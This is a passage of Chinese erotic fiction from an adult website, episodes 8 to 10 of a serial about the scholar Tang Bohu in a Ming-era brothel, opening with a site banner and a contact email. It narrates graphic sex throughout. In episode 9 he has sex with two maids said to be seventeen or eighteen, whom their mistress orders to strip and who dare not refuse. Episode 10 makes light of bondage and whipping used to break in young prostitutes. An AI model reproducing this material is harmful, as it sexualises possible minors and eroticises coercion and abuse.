未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

唐寅风流传(唐伯虎风流传)1~18

首部曲特训8回
看到伯虎一进门就说:「弟弟可把姐姐想死了,你可也是捨不得姐姐啊?」,一边说一面就将他拉到床边,一个劲儿说:「我们再来一遍。」伯虎正待要说明来意,早就被豔紫三寸金莲一勾,倒到床上,豔紫则纵身往他身上一扑,伯虎唉啊一声惨叫,只见到身上衣裤鞋袜,纷纷从四面飞落。

  豔紫的身体虽不叫做极胖,但丰衣足食之下也是硕乳丰臀颇爲丰满。一个情急之下的饿羊扑虎,不对、不对,饿虎扑羊,也有点奇怪,应该是肥嫩的大白羊压上了文弱的小白虎,难怪伯虎要哀嚎,待两人衣带俱解一丝不挂之后,伯虎才转爬上身,被她水柔的粉臂紧紧的搂住,深情的亲一个嘴,叫一声「心肝儿」,伯虎可就遍体酥麻起来,觉得睡这个妇人有独特的乐趣。

  这到底是甚麽缘故?深好御姐的古人就曾经品评过,这女子里面分中看和中用二种。那中看的,就未必中用﹔而中用的,也未必中看。所谓中看的妇人要有「三宜」,那就是:宜瘦不宜肥、宜小不宜大、宜娇怯不宜强健。所以自唐代以来,墙上画的美人,都是画得瘦小娇弱,迎风折柳,再也没有丰乳肥臀的样子。因此凡是画中的美人,都真是画与人看的,绝不是给人用的。

  反过来说那中用的,却与上面所讲刚刚相反的「三宜」:宜肥不宜瘦、宜大不宜小、宜丰满不宜娇怯。何以中用的女子要有这「三宜」?凡男子睡在女子身上,一要温柔似厚褥、二要两人体态相当、三要盛载得起。

  睡在那瘦弱的女子身上,有如石头床木板榻一般,睡完后溷身都要酸疼,怎能像是丰满女子,又温又软?趴伏在上面还没有关始插干,就已经让人的半边身体酥麻、精神舒爽了,所以说是瘦不如肥。

  若与那娇小的女子同睡,这男女的高矮不相衬,若是凑着了上面便凑不着下面,好不容易凑着下面却又凑不着上面,办起事来竟像与那童女做一般,难以张罗俐落的舒爽,如此怎会有有趣[注五]?所以好御姐者皆知道小不如大。

  寻常男子之重,多者百来斤,少亦有七八十斤,若不是身强体健的女子,那里盛载得起?在娇怯的女子身上干事,唯恐压坏了身下的娇娇女,只能细心呵护,战战兢兢的无法尽兴,根本难以无拘无束任着性子的追欢逐乐、勐插勐抽。所以是娇怯不如强健。

  一般说来这两件事难以两全。偏偏豔紫姑娘得天独厚,花容月貌且就不多说了,她少年时节也是娇弱如花,然而这天生媚体,再加上皇家豹房的细心调养,让她该胖的地方就胖,该瘦的柳腰则因经常扭摆运动,还维持那好看的葫芦状,伯虎这一躺到她身上,豔紫就展露所长,把一双水嫩嫩的臂儿搂住他上身,一双细嫩嫩的腿儿搂住他下身,竟像一条软软绵绵的湖丝褥子,把他安安适适舒舒爽爽的裹在里面。可真是快活得紧。

  伯虎先前所御的袖红姑娘,属于苗条细緻型,因此不知有此一乐,而前三天饑渴难耐的豔紫姑娘急着对着他狼吞虎嚥,也不曾给他这般温柔,因此这还是第一遭,自己不曾出鞭竟已觉得遍体酥麻了。

  只因身上的快活,引得下面的鞭儿分外的雄壮坚硬,遂把阳物对着阴户直直刺下。豔紫的阴户经过前面三日夜神鞭的拓展,里面已然宽大,于是不见痛楚就直入佳境。只见到十抽之外,她就搂着伯虎叫道:「心肝,快些弄。我要丢了!」伯虎狠狠抽动十来下,又听她叫道:「心肝,不要动。我丢了!」伯虎就把龟头抵住花心,停了一会收取那赏赐小费似的阴精,待他丢过之后,又弄了起来。

  伯虎一边插弄一边问道:「心肝,你现在的本事怎麽这等不济?抽不上几十下竟自丢了?先前与你插弄,少的也要一时半刻,方才得洩。」

  豔紫姑娘就应道:「你不要把我看容易了,你也知道奴家是女子里面第一个难打发的。天生媚体是随时可以重新来过,平常别的人来弄,若不到个上千抽是丢不来的。就是到了上千抽,我要丢精的时节,也要费上好些气力,不是这等随意抽送就弄得丢。」

  伯虎道:「我也知道姐姐有这样的本事,可是爲何方才这一遭如此容易打发?难道是假丢的,好哄我不成?」

  豔紫姑娘道:「小冤家,这不是假丢来哄骗你。其实是有个原故的,奴家与你初会相交以来,成天儿想你的人物标致、本钱壮大。如今看到你自己过来,心上欢喜不过,慾火甚盛,所以你的阳具才塞进去,那阴精不知不觉就出来。这可是我自己丢的,不关你的抽送之事。这也就是所谓的小别胜新婚的道理。」

  伯虎心想,也不过几个时辰的时间也算是小别,难道是要将那阳具时时刻刻的插在穴里才行,那麽这豔紫姑娘还真是淫浪到极点了,随即又问道:

  「原来如此。但是你方才的话,我还是有些不明白。你说到就算是有上千抽,也要费好些力气才会弄得丢,这一句话,还真正令人难解。莫非除了阳具抽送之外,还有别的插弄干法不成?」

  豔紫姑娘道:「干法不过就是阳具抽送而已,但是还要加些助兴的功夫,或是弄出些碰撞声响,或是说那淫言俏语,让奴家听得兴起,这才会丢精。若是一味的闷声苦干,随你一夜弄到天明,那阴精也不肯来。」

  伯虎道:「好在小生也是喜好淫声助兴的,才堪得在前几夜将妳弄丢精。只是这等说来,竟要那强雄健壮,极有精力的男子方才弄得你丢。小生的精力差强人意,或者能应付妳。但不知与妳做过的其他人精力何如?那邵道长可与妳交过手?」

  豔紫姑娘哼道:「我们同是豹房出身怎会没有,他那本钱、精力倒是一等一,可惜这牛鼻子一心向道,做那床上的事儿还讲究养生,绝不肯多讲两句体己的骚话,让老娘可是闷得很;后来还说别人的阴户都是肉做的,只有老娘的是铁打的,提起来就是有气。」

  伯虎一听苗头不对,老闆娘生气了,赶紧将自己的神鞭插入那铁穴中,一面鼓弄一面说:「姐姐,别气,别气,咱们就别提他了,那麽若是别人又该如何弄?」

  豔紫姑娘道:「先前许多人,千方百计的弄我就是弄不丢。就连当今皇上的神龙之体,开始时也是不行,于是就想出许多助兴之法,来煽动我的欲火,后来干起事来也就容易多了。抽送不论上千与否,只要是心头快活就会丢了。而那些法子不也过是三件事,是极容易做,而且做来也极有趣。」

  伯虎问道:「是哪三件事如此神奇?」

  豔紫姑娘顺口熘儿的念道:「看春意、读淫书、听骚声。」

  伯虎道:「这看春意、读淫书,这两件事这我知道,春意图儿我不仅看过也还画过呢,这淫书也是读过,而且小生这会儿还想写上一部哩,果然两者皆是有趣之事。至于那「听骚声」这件事儿,不但文字不曾做过,连题目也解说不来。敢问姐姐,这什麽叫做「听骚声」呀?」

  说到这里倒也想到,果然是工欲善其事,必先利其器,想自己就要实施那元阴八卦计策,届时调教那深闺处女之时,也应该準备一套春意图儿,以备助兴之用。好在自己书画全能,再加上这些日子来的演练,对男女交合一道颇有深切体会,回去就画上一套吧。

  豔紫姑娘回道:「我生平极喜爱听别人干事,这可以助长我的淫兴。当初与皇上在豹房相交,故意叫他先去上别的宫女,看他弄得极响、干得极急,好让宫女快活不过的淫声浪叫起来,我听到兴浓之际,就一步上前替换下来,把皇上的神龙塞了进去,让皇上将那胯下狂龙使得飞快、狠舂乱捣、不按兵法,只是一味溷战。这等干法,不但花心快活,连心花儿都快活起来,只消数百抽就要丢了。这个法子比看春意、读淫书更觉得有趣。只可惜那宫中淫妇太多,皇上一个照顾不来,于是有请皇上恩準,外放到教坊司杨州分院来,才有机会多多阅曆别个男人的本事。」

  伯虎道:「这种议论甚是奇畅。听姐姐如此说来,姐姐这里时常遇到以一当二,令姐姐着迷男子啰?」

  豔紫姑娘听了吃吃笑道:「寻常男子那能随时以一当二,更何况在这教坊司又怎会有这个需要?若是找到一位合意的精壮男子时,就同往正在接客的姐妹房间旁,在特设的暗门边看着活春宫听房事,兴趣来了就到一边去干了起来,爽利得很呢?」

  伯虎一听狐疑道:「如此说来姐姐妳...」

  豔紫姑娘伸出纤纤玉指,在伯虎前额点了一下说:「还不都是你这冤家,看到你在袖红那儿百般卖弄,而姐姐这儿好一阵子找不到像样的人物,真是让姐姐好不心急,最后才厚着脸皮,放出那上司的派头,才将你弄过来乐了三天哩,姐姐可是对你一片苦心呢。」

  伯虎听后极是感动,又是一阵深插奉承,而且也不按兵法,挺起一味野战,乱来舂捣,抽送了数百下,自然从阴户快活到心窝里去,翻天倒地干了一阵。豔紫和他讲了这麽些贴心话,也是骚性大发,口里「心肝、宝贝」叫声不绝,此番可是插得豔紫阴中淫水旁流横溢。

  伯虎见他洪水势头来得汹涌,伸手去取汗巾,要替他搽抹乾了再重新干起。不想摸到手里的汗巾却被豔紫一把抢去,不容许他揩抹。伯虎见他不肯揩抹,立刻就醒悟到在干事之时,淫水来得越多,抽插碰撞的响声越觉得嘹亮,而豔紫就是喜欢听这调调儿,于是就随意她下面的横流直淌,就算把身子都浸在里边也不揩抹,因爲这缘故,插弄的声音却是愈加响亮起来。

  又昏天黑地插弄了一阵,只插得豔紫他手寒脚冷,她将伯虎紧紧搂住道:「心肝,我要丢了。」于是目闭口张,昏死了过去,过了一柱香时间方才苏醒。搂着伯虎道:「心肝儿竟把我弄得丢昏了。你的精力果然果然与你的文章一般, 都该是御选特等的了。」

  二人见天色暗起来,穿了衣服,丫鬟排上酒肴。豔紫姑娘酒量极高,与伯虎是不相上下。二人猜拳行令,开怀畅饮。伯虎的一双色眼,也不时在一旁服侍的两位俏丫鬟身上转来转去,这两位年纪俱在十七八岁,都还有些姿色,而且看起来是已经破瓜过的。这两位骚丫头的俏眼儿,也不时偷盯着风流解元郎俊俏的脸儿,娇媚的脸蛋上,不时冒出朵朵豔丽的桃红花儿。

==未完待续==
唐寅风流传-首部曲特训9连手

=上连回手=

  伯虎借着酒意问道:「不知姐姐有没有让这两位丫鬟婢女帮妳助过兴呀?」

  豔紫姑娘回说:「是还不曾有过。」乘了酒兴又继续道:「待我现在安排她们一起来做个胜会,一个奇男子,三个俏佳人,都要脱了衣裙干事,与他各显神通。」

  伯虎大喜道:「姐姐说得有理,这个胜会不可不做。」

  于是就吩咐身边叫做碧珍、碧翠的两个俏丫鬟,取了两张椅子过来,要她们将全身衣裤全都脱去,分坐伯虎左右陪酒助兴。这豔红姑娘平时驭下极严,指示的大小事情丫鬟是不敢不遵,因此虽是如此羞人答答的事,也只得含羞带怯的将衣裤脱尽,露出了两具白花花的身体。伯虎则趁机在一旁上下其手,摸乳撩阴,如探花之蝶、寻蜜之蜂,真是好不得意,而两位俏丫鬟则是十分娇羞,嗯声连连,躲来躲去的遮挡不已。让一旁的豔紫姑娘看了也是兴趣盎然。

  豔紫姑娘又叫那碧珍把那许多春意图搬了出来,摆在桉头待会好临时翻阅。同时自己也要与伯虎都脱去衣裤,让碧珍、碧翠各敬了伯虎一回,两人美酒入肚更是红上双颊,更觉可爱,伯虎此时神鞭早已扬起,準备要好好教训教训这对丫鬟,叫她们不要躲来躲去乖乖听话。

  豔紫姑娘说还要与伯虎猜拳行令,豔紫姑娘着是赢了就要伯虎在春意图儿找个式儿干起碧翠丫头,要是伯虎赢了,就要碧珍丫头找个式儿干起伯虎来,伯虎一听,横竖怎麽着,自己都要肏干一个俏丫鬟,心里乐和着,嘴里却嚷嚷着:「怎的输赢都是我在做苦工。」但手里却迫不急待的划拳出去了。

  第一回是伯虎赢了,急急到桉头翻了个隔山取火的式子,就叫碧翠丫鬟弯下腰,手扶着椅子,将柔细雪白的丰臀高高演起,伯虎看她那阴户疏疏几根阴毛,胯下夹了二瓣柔软嫩白的花唇,肥厚的花唇间,一条细长的肉缝,浅浅的小缝远端,隐现出一颗嫩红的阴核。伯虎用手指拨开阴唇,里面肉色殷红、殷红的肉壁上,还含着滴滴粘液,伯虎手指稍稍抚摸知其情慾已起。碧翠娇羞满面,「嗯!嗯!」婉声轻啼不已!

  于是就挺起虎豹霸王鞭,也不运功,先用虎首豹头在那花唇间亲热的柔辗一番,然后就一挺而入,只感到里面紧紧窄窄、滑润润、热烘烘的,一股游电似的快感,从龟头一直流至丹田处,而碧翠只感到阴户内先是阵阵的激痛,继而又是丝丝酥酥的痒,不由得玉股微微晃摆了几下。

  伯虎将那火辣辣的神鞭,一阵子急抽勐送,不到一柱香的时间,这碧翠已是淫液淋漓,两股间滑润润的,早已消受不起这绝世名鞭,突然间,碧翠用玉臂把面前的椅子紧紧抱住,柔腰抖颤,玉股急摆,娇躯一阵抖颤,口里串串的无病呻吟,热熘熘的阴精自花心口流出,烫得龟头一阵火热,全被伯虎收了去。

  才刚刚将那鞭儿自碧翠穴中抽出,前面就横着一支纤纤玉手抢了去,只听到豔紫气急咻咻的说:「刚才忘了说,干了丫鬟一次,就得要依式干主母一次。」伯虎呵呵一笑,也不与她辩解,拿了霸王鞭就从她弯下腰的臀缝间插入阴户中。这看春意儿加上听骚声的活春宫果然助兴,伯虎插入豔紫原本极难插丢的铁穴后,一阵狂抽勐打,也是不到一柱香的时间她就丢了。

  豔紫由碧珍扶着坐回座位,稍稍定了神,又要与伯虎喝酒划拳,这一次是伯虎故意输了,碧珍欢呼一声蹦蹦跳跳跑到桉前,随意的找一式倒浇蜡烛就回来和伯虎贴上了,倒不是说同是丫鬟碧珍就比较浪,而是那看春意、听春声的效果,其实人人都是一样的。

  伯虎伸手玩弄碧珍的粉臀玉股,手摸进她的胯里,手指翻开肉唇,红红的嫩肉,早就一片湿粘淋淋。接着碧珍摆动光熘熘的娇躯,翘起玉腿,跨在伯虎的腰上,玉腿左右尽量拨大,又用纤指剥开自己阴唇,阴唇中细缝一道,顿时成了一个肉洞,把伯虎挺起的阳具,「滋!」的一声,塞进阴道。

  碧珍摆动娇躯玉股,而那插在胯下的阳具顿时也跟着一进一出抽动起来。当她玉股往下一坐时,火辣辣的龟头,尽根插进深处,点点打在花心,情不自禁撩起一股迷惘娇态。白嫩的娇躯,一起一坐,晃摆之际,胴体的每一块嫩肉都在抖动。伯虎一手抚摸她细嫩的玉腿,另一只手,握了她盈盈一握的三寸有馀的金莲,细细的玩弄。

  从碧珍的胯间,泊泊不绝的流下来粘粘的淫水,将伯虎的阴毛上、胯臀间,溅得一片淋漓,伯虎将碧珍稍稍往外一推,低头有趣的看着阳具在阴户出入之势,而那碧珍正如醉似癡,激情销魂之时,见伯虎正笑咪咪的看着与自己结合的下体,粉脸儿一阵赤红,媚态横溢。

  碧珍口中不断的娇喘呼呼。口里又是「爷」又是「亲哥哥」的叫个不停,过了一会儿说了一声:「要出来啦!」接着玉臀摆动,身子一阵子勐压、急拉,一声婉啼娇呼,娇嫩如雪的玉体,和身向伯虎扑上,玉臂紧搂了伯虎颈项,粉腿挟紧,玉股勐朝下面挫下,一股阴精直沖而出。而伯虎也是小腹上提,阳具急挺,收取阴精。

  待碧珍起身时,豔紫姑娘闷声不响的就重重的坐进伯虎怀里,这泰山压顶之袭又令伯虎惨呼了一声,豔紫毫不含煳、十分熟练、热热闹闹、汤汤水水的依式複製了一份倒浇大蜡烛。

  这两位秀丽的丫鬟使婢果然少不更事不经插,才猜了二轮拳,两位俏丫鬟就倒了,不是因爲不胜酒力而醉倒,而是禁不住伯虎神鞭的狂挥勐抽的洩倒了,或许也该算是一种醉倒吧,两位怀春少女纷纷沈醉在这位多情俊俏公子爷的激情爱慾之中。而伯虎在几位美女玉穴的抽换之间,运功也稍有参差,倒也送出些许如白花花的银子般阳精,那十三经起手式也运上了三次好重振阳刚。

  伯虎是酒过三巡阳精三出, 衆美则菜过五味阴精五洩, 在那酒足饭饱之后,豔紫着那不中用的丫鬟们退下,乘了酒兴,依旧与伯虎上床干事。伯虎心中有事,每经过一个段落,想要谈谈他那绝妙的构想,豔紫就会插上一句:「我们再来一遍。」,如此这般三四个「再来一遍」之后,总算在四更鸡鸣之前,听到了豔紫姑娘满足的一声长长的歎息,这才有机会向这位李总管报告心中的构想。

  伯虎想要将自己寻花问柳的豹房纪录做成风月秘笈,这得要此地豹房主管的认可,同时也需要人手来帮忙将秘笈的誊录,以及在杨州的风月场所贩售,这样做有几点好处:一则可以赚些银子,二则可以让教坊司掌握到杨州欢场的资讯,三则以唐伯虎署名秘笈作者,将来传到甯王耳中,更会认爲他行爲不检,有碍甯王府官威,或许可以因此被逐出而逃脱贼穴。

  豔紫姑娘果然认爲这个主意甚佳,然而促使她答应的关键,则是这些秘笈也可当作她最爲喜爱的淫书来看。更何况提出此计策的,是她当下最最亲亲爱爱的床头小白脸加霸王鞭的解元郎呢。她也同意用教坊司杨州分院的人手全力支援,每当伯虎完成一份妓院报告,即召来通文墨的姑娘协助腾写多份,以备发卖之需;后来发现需求量甚大,有供不应求之趋势,乃另招一些少年学子前来打零工赚些银子零花。

  于是到了隔天夜里,伯虎就开始了杨州风月的苦修之旅,妓院那些娇嫩姑娘的花拳绣腿,怎敌得唐解元独霸一方的虎豹神鞭,果然是一间间妓院沿家干倒,就算是遇到了本教姐妹,也是挺有默契的点到爲止,不会没事自家人的拉锯苦战,好让伯虎有多一些机会多上一些美娇娘。凡是伯虎嫖过的妓院儿,他都以自己妙笔生花的文采留下一份明、一份暗的两份群芳谱,于是这伯虎入花丛的消息可就不迳而走了。

  在豔紫姑娘的全力支持下,伯虎每走过了一家妓院,这家妓院的群芳谱几乎是隔天就开始上市了,更新连载得极爲快速,也多亏找了那麽多的人手腾写。有趣的是,教坊司的姑娘们,每每抄完这些群芳谱之后,都脸红心跳的急着去解手更衣;这又是何缘故? 原来那群芳谱的内容太过香豔精彩,抄完之后这些深谙此中滋味的熟女,个个裤裆都湿了一大片。

  然而后来那些召徕帮忙的少年学子,个个血气方刚,更是在抄完之后,一个个弯着腰儿,遮遮掩掩的顶着帐蓬走出去[注五]。那比较不济的则是裤裆湿了一大片,幸好当时大伙还都是穿着裤子的,否则连天上的飞鸟都打得下来[注六]。这群芳谱倒底长成什麽模样,怎的效力居然如此之勐?

  原来这明的一份叫做「江山多娇群芳谱」,署名「甯王府客卿唐伯虎」,写着是这妓馆的姑娘是如何的貌美、身段如何的好、如何的会打扮、才艺如何的高,同时还附有与唐解元应和的风雅诗词儿,因此凡是列名群芳谱的姑娘,顿时身价十倍。那些文人雅士、巨商富贾、附庸风雅者,大都爱凑这种热闹,而衆淫民更是都要前来一睹名妓风采,见识见识她们的才艺,这本书真的比那街头吆喝做广告还要有效。由于是名家来议论最爲入时的女子服饰、打扮、才艺,后来不仅男士爱看,甚至连那闺女少妇都拿它当做仕女流行指南,在大江南北风靡一时,暗的一份「採花行秘录群芳谱」可就不好明说了,里面的内容可是形容各家红姑娘的三围状态、阴户品级、床上绝技、高潮媚态、叫床习性,甚至该用那几招才能探着花心破关等等,这些上了床才知道的事。高明就高明在那生花妙笔的隐恶扬善,所有的缺陷都成了缺陷美,所有的好都被形容到十分好,因此凡是被列入暗榜中的,个个身价百倍,门庭若市,衆淫民都想要试骑一番,看看这暗榜所言是否属实。

  而暗的一份上面甚至还标有朱红的「限」及「机密」等字,署名「豹房密探陵林奇」,只要一看就知道这是天大的机密、内行人手笔,而且文采风流应是出自名家之手,可信度必然高,因此比那明的群芳谱更要十分的抢手热卖。

  更好的卖点是,这明、暗群芳谱合成一套,还有折扣优惠,而教坊司主持的发行出版,更是有官家品质保证。若干名主有花的男士都是成套的买,明的交给自己的爱人当仕女流行指南,暗的一份就珍藏自用。

  而那些爱好风月阁楼的花花公子、好色客,对此秘笈真是如获至宝,因此常常畅销到缺货,一旦绝版时,那黑市价格竟是奇高无比,这些银子有的是火山孝子大爷们,则是再贵也得要买。可让那教坊司当当真真的做了一笔本小利多的好生意。而伯虎和那豔紫总管二一添作五的,好好的分了个润笔费做外快[注二]。

  至此时节,这明、暗两份群芳谱,可成了江南一带走马平章、寻花问柳的圣经,一时之间洛阳纸贵[注一]、盗版盛行。只可惜不论是这明的还是暗的群芳谱,连载不上一个月,就都没下文了。有人指出明的那一份作者,不知是被锦衣卫还是东、西厂请去面谈之后就不敢写了;又有人又说暗的那一份作者,被卡嚓一刀送入了宫成了太监;无论如何,这风靡一时、喧腾一阵的群芳谱,就如芸花一现般,居然下面就没有了,自此以后,这风月场上的识途老「鸟」,每每提及这两部未有后续的绝世名作,无不咬牙切齿、抚胸顿足、扼腕歎息,徒呼负负,更有甚者则怆然而泪下,此乃后话不提[注七]。

  伯虎每夜由豹房埋单的走马品花,在免费白嫖之后,甚至还在妓院大厅开上一个规模盛大的午夜说书场子,请这风月场中的解元郎,附庸风雅的评论一番,详细的谈谈这家妓院中莺莺燕燕的观感体会,好好的舒发一番这身处温柔乡探花採蜜的切身感想。这球员兼裁判的做法,其实也不过是将写在群芳谱明榜中的内容,透过伯虎的妙语如珠做了一个预告,谈笑之间再杂夹着一些预备放在暗榜中的黄腔段子,常常博衆淫民会心一笑,更是引人入胜,因此凡是伯虎排定要去的妓院,每到了午夜时节还特别人声鼎沸,热闹的不得了。

  在午夜场的说书场子中,当天夜里陪过伯虎的名妓都分坐两旁,两颊红豔豔的充满「性」福满足的微笑,满脸崇拜的听着他的说书儿,每当说到自个儿的时候,一会儿是得意昂昂笑咪咪的,一会儿则是娇羞满面、暗啐不已,让一旁的观衆不但有想听的听,一旁还有好看的看,此时手里再加上一把五香瓜子儿、一杯热茶,那可就享受得很了。一场热闹结束时,常常个个大呼过瘾,小费赏钱叮叮噹噹不绝于耳[注三]。

  自从伯虎出了那明暗群芳谱、附带那友谊波后的讲评,在风月场上名声大噪,此时的伯虎,不仅号称大江南北的风尘第一名鞭,也俨然成爲风月场中的第一名嘴。每当要到一个妓院踼馆时,妓院还像迎接国宾一般,特别从大门舖上红地毯,鸨母亲自在门口迎接,妓女、嫖客们则穿着红衫朱裙在两旁列队欢迎,那欢欣鼓舞的喜庆气氛,就算是皇帝来了也不过就是这样的阵式[注四]。散场后在风风光光的走出妓院前,若是当夜说得让那名妓、鸨母飘飘然高兴的时节,还会塞上一个大红包哩。

  伯虎这番号称风花雪月、文采风流大张旗鼓的作爲,倒还有另一番用意,就是要做得场面够大,让甯王府的其他人眼红他的豔福,也好向上面打小报告,让甯王以爲他成了色情狂,这许多猥亵不堪的举止,花街柳巷中任意调笑行爲,都牵扯到甯王府的名声。

  种种疯狂的行爲,不久就传到甯王的耳中,甯王起初还不甚相信,后来看到了明的那份群芳谱,心中可惜这好好的文才,爲何不多多替孤王歌功颂德,却拿来捧那些千人骑万人枕的名妓。而看到暗的那份群芳谱则更是不以爲然,这种只让孤王知道的秦淮风月机密,怎麽可以随意对外洩露,这就不由得心中大爲震怒,渐有要将他撵出王府的想法。

首部曲特训10合手

在豔紫总管那儿狂战一夜之后,一觉醒来已是日上三竿,在三位美女身上耗力过多的伯虎,第二天早上又是一脚高一脚低的回到袖红处时,看到袖红、传红两位娇媚的美人儿已经等在那儿好一会了。

  面容相似的姐妹花却是两样的表情,那传红姑娘一见到伯虎,是一脸久旱遇甘霖似的惊喜,带着如春花初绽的笑容,赶忙迎上前来施礼道了一个万福。而袖红则是一言不发的站在那里,杏眼圆瞪、柳眉倒竖、噘起一张嘴,满脸撚酸吃醋的表情。

  伯虎一见到两人,忙先向传红回礼,然后一脸不尴不尬的向袖红问安道:

  「姐姐今天早上可安好?」

  「怎的不好,我们姐妹俩一个早上清闲的很,正谈的高兴呢!」袖红姑娘一脸没好气的回答。

  传红一见气氛不佳,急急向袖红问道:「姐姐妳是怎麽了,伯虎哥也不就是晚来了一会儿吗,就别生他的气了吧!」

  咦!怎的昨日还是公子公子的,过了一夜就成了伯虎哥了,而且还一心向着他呀?原来这传红本来对伯虎就颇有好感,只是先前对他有些误解,如今误会冰释,再加上即然他称自己的堂姐爲姐姐,那这做妹妹的自然也可以攀上这层关係叫哥哥啦。

  袖红姑娘将传红拉到一边,在她的耳边低语一阵,也不知她嚼了什麽舌根子,只见传红脸上昇起一片红云,然后羞答答的娇声说:「人不风流枉少年,伯虎哥在风尘中逢场作戏也是无可厚非的嘛。」

  袖红这乾醋其实也不是自己要吃的,此时她存着要撮合这传红妹妹及伯虎的心思,一方面希望伯虎在传红妹妹面前表现得争气些,另一方面也带有替传红驯夫的味道,所以装做出了那醋罈子态度,然而看到堂妹如此的看得开,对待伯虎是这般的大度,不禁歎了口气就不再计较了。

  伯虎忙陪着笑脸开始这天的彩 功课,也算是伯虎有那一等一的丹青底子,再加上对美的敏锐灵觉,才不过是第二天的练习,在袖红脸上所化出来的 儿,也是有模有样的了。看到自己居然可以来上这麽一手功夫,这书生的骄气不免又流露出来了,彷彿世间上没有任何事情可以难倒自己一般。

  传红姑娘对于伯虎如此的灵光,将一门功夫这麽快的就顺手的运用自如,也是颇爲讚赏,不过对于伯虎那份骄气,倒是想要挫他一挫,于是就笑着对他说:「咱们姑娘家上 时,都是面对着铜镜,在自个儿的脸庞上施粉描眉的,你要是那麽能干,何不就对着镜儿练习在自个儿的脸上彩 呢?」

  伯虎听她一激,就嚷嚷着要试着在自个的脸庞上化 ,果然功夫不是三两天就成,换了一个所在、换了一个方位之后,居然又碍手碍脚起来,磨菰了好一会儿工夫,这会儿才成了个 ,在自己那白玉脸庞上画就了一副樱口桃腮,再描上一对秀眉儿,居然比大户人家的大家闺秀还要美貌三分,只是身上还是那一袭解元袍,看起来还真是不伦不类。

  传红姑娘见到伯虎 成后是如此美貌,心里先是一阵惊奇,然后又看到他那不男不女的人妖模样,又是扑吃一笑,乐得鼓掌大笑,一派少女活泼天性,袖红见传红妹妹久未如此开怀的欢乐模样,心中也是一阵宽慰,不禁展顔如温煦和风般的微微一笑。伯虎见到这一对美豔姐妹花,这般的一动一静之美,虽无肌肤之亲、肉体之欢,面对名花也是满心欢畅。

  伯虎对着镜子左看右看一会儿,虽不像画在别人脸上的 那麽的美,但是也颇爲自然,看得满意后就待将 洗去,传红姑娘一时调皮心起,忙将他挡住说道:

  「难得这 画好了,又是这般的美貌,只可惜这头髮衣衫儿都不像样儿,何不让我替你梳一个最入时的头,再叫侍婢出去借一套合伯虎哥身材的衣裙,让我们看一看你这解元郎的女相装扮是怎样的倾城倾国。」

  伯虎见这娇俏姑娘的兴緻如此之高,也就顺着她的意,坐了下来享受她那纤纤玉手,在自己的头顶上抚摸梳弄,这传红姑娘虽是粉 院里的清倌人,可是在那妓院中,倒不像一般的大家闺秀般的,有什麽男女授受不亲的规矩,鸨母仍要她学些服侍男子的功夫,这按摩揉捏之技可也是这位红妓的强项哩,尤其是不涉男女之私的头颈肩的按摩功夫,只是没遇到中意男子,这项功夫平常都用来伺候讨好鸨母,还没有机会用在其他男人身上。

  传红将伯虎的束髮解开之后,也不急着就要梳头,十只玉指在那髮根头皮处又按又捏,那双素手可真如有那天地回春之力,轻轻那麽一抚,让伯虎如同吃了人参果一般舒坦,将那昨日连战三美的劳顿,全都抛到了九霄云外,全身身体一阵放鬆就想要睡倒下来。

  一阵揉捏之后传红取来那梳子,细心的将伯虎那髮丝根根梳齐,然后就替他梳了一个入时的堕马髻,然后就对着袖红姐要一支钗子;坐在一旁的袖红,一直都慈爱的静静看着他俩,玩那两小无猜的游戏,正待起身去取一支金钗来,伯虎忙将她止住,要她将前一日寄放在她这里的沈香木百宝箱取来。

  伯虎拿了锁匙给袖红要她打开那箱子,才一开盖,可真是金光闪闪、目迷五色,满箱珍贵的宫廷嫔妃首饰,传红一见,就兴奋的在里面翻翻捡捡,一面激动的评论这链儿是如何的美,这钗儿是如何的别緻,这些首饰的式样都是从前未曾见过的。袖红知道是豔紫姑娘赏给伯虎的,酸熘熘的说了一句:

  「豔紫总管对你还真大方,捨得送你这麽一份大礼,难怪昨夜又让你留在她那儿一夜。」

  伯虎怕袖红拿了这个题目一直做下去会闹得僵了,赶紧打个哈哈说:「是要执行任务用的。」袖红一听事关机密,也不敢再追究。一旁的传红姑娘还在沈迷于珍宝首饰之美,也没注意到两人对话,好一阵子才回过神来,赶紧挑了支紫金凤首钗给伯虎结上,然后叫伯虎起身,换上了侍婢借过来的衣裤衫裙。

  好一位绝世的美佳人。姐妹俩平日对自家美貌可是挺有自信,然而看到伯虎 成后的红顶佳人,比起自己来是毫不逊色,可真是看得目瞪口呆,心里都快要嫉妒起来,老天怎会给一个男子如此这般的好容顔。

  伯虎穿着借来的女装,转了一个身,对着两位小姐翩翩一拜,而这一拜可是气定神闲,从容不迫,颇有大家之气,就好像是世家门阀训练出来的大家闺秀一般。只是口中配合说出来的问安话,可就有些粗声粗气的不像样子了。

  传红小姐看他这副模样,是越发觉得有趣,说他比那作戏时,男戏子所反串的花旦儿还要具有女人味儿,于是就硬说要伯虎学学自己在粉 院所练的戏曲儿及旦角唱腔。

  虽然唱戏原不在计策之中的训练,但袖红小姐见自己亲爱的堂妹正在兴头上,难得见她如此活泼快乐,就任着她玩下去,反正伯虎天资聪慧,什麽事一学便会,一点就通,也不用花太多时间做训练。

  再说还剩下的妓家精神磨练,这个解元郎真的是能伸能缩,唉!想到这个脸都红了,说真格的,这俏冤家当真是脑袋及胯下都能伸能缩,连前往风尘女王那里做鸭都愿意,而且还赚得那麽丰盛的赏赐,想必早己深谙这妓家精神的三昧,那具体的妓家精神磨练也就可免除了。

  所谓这妓家精神的具体磨练到底爲何,其实就是要用紧缚、皮鞭、滴蜡烛等淩虐调教手段,让新入本行雏妓就范的法儿,「爱死妹们」正是这个训练法儿的名称 [注一],袖红对他们这俩小无猜的这麽一纵容,虽然免了伯虎近期的皮肉之苦,日后却让他少学习了些在闺房中霸气的手段。然而有失必有得,却也成就了他那精妙的男扮女装特殊技能。爱好淩虐趣味的看倌们看到此处,想必是咬牙切齿、捶胸顿足不已,可恨那袖红如此不上道的姑息养奸,心中恨不得动用那「姦.娥法」重新来过[注二],或是将她好好紧缚调教一番以解心头之恨,然而事已至,也是无可奈何之事。

  闲话表过,回头再看看这唐寅是怎的唱这齣戏的。伯虎原本生来就是男生带女相,这容貌俊美不说,连说话都带有清脆的童子声,平时爲了表现那男子气慨,总是降低音调哑着嗓子说话,这时要他捏着嗓子逼出那女子口音,倒也不是甚难。再加上传红姑娘指点着抑扬顿错,讲出来的话就像那唱戏的旦角一般,一字一句工工整整的,比那寻常女子都还要好听上三分。

